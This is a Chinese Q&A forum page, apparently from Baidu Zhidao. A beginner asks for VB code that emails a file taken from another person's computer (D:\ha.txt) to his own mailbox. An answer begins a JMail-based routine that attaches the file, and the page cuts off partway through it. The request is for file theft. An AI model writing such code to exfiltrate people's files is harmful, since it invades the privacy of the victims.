vb代码怎么发送邮件

来源：百度知道 编辑：UC知道 时间：2024/07/07 21:40:01
我是初学者，大哥大姐如果有会的麻烦详细的说一遍！感激不尽！
我想做一个vb程序，能够把别人D:\ha.txt文件发送到我的邮箱中去，大家都发挥自己的水平，仁者见仁智者见智！哈哈，谢谢了！
都说的详细点啊 给我弄上一些代码，看不懂的，晕啦！ 看看我的要求啊！
1 需要加个什么控件！
2 我需要他能从mls19880619@sina.com发送那个D;\ha.txt到我指定的邮箱331388976@qq.com
别说用本机的 我要完整的代码和介绍！ 会的来 不会的闪！

有JMIAL控件,是免费的.
在有现在很少有好的SMTP的邮箱了.

Option Explicit

Private Sub cmdCommand1_Click()
SendMail "主题", "正文", "d:\ha.txt" '如果如果要发附件，最后一个填附件路径
End Sub

Sub SendMail(Optional ByVal sSubject As String, _
Optional ByVal sBody As String, _
Optional ByVal sFileName As String)
On Error GoTo ToExit '打开错误陷阱
'------------------------------------------------

Dim Jmail
Set Jmail = CreateObject("jmail.Message")
If sFileName <> "" Then Jmail.AddAttachment sFileName

Jmail.Charset = "gb2312"
Jmail.Silent = False
Jmail.Priority = 3 '邮件状态,1-5 1为最高
Jmail.MailServerUserName = "apple" '你的Email帐号，自己改
Jmail.MailServerPassWord = "123456" '你的Email密码，自己改

Jmail.FromName = "邮件"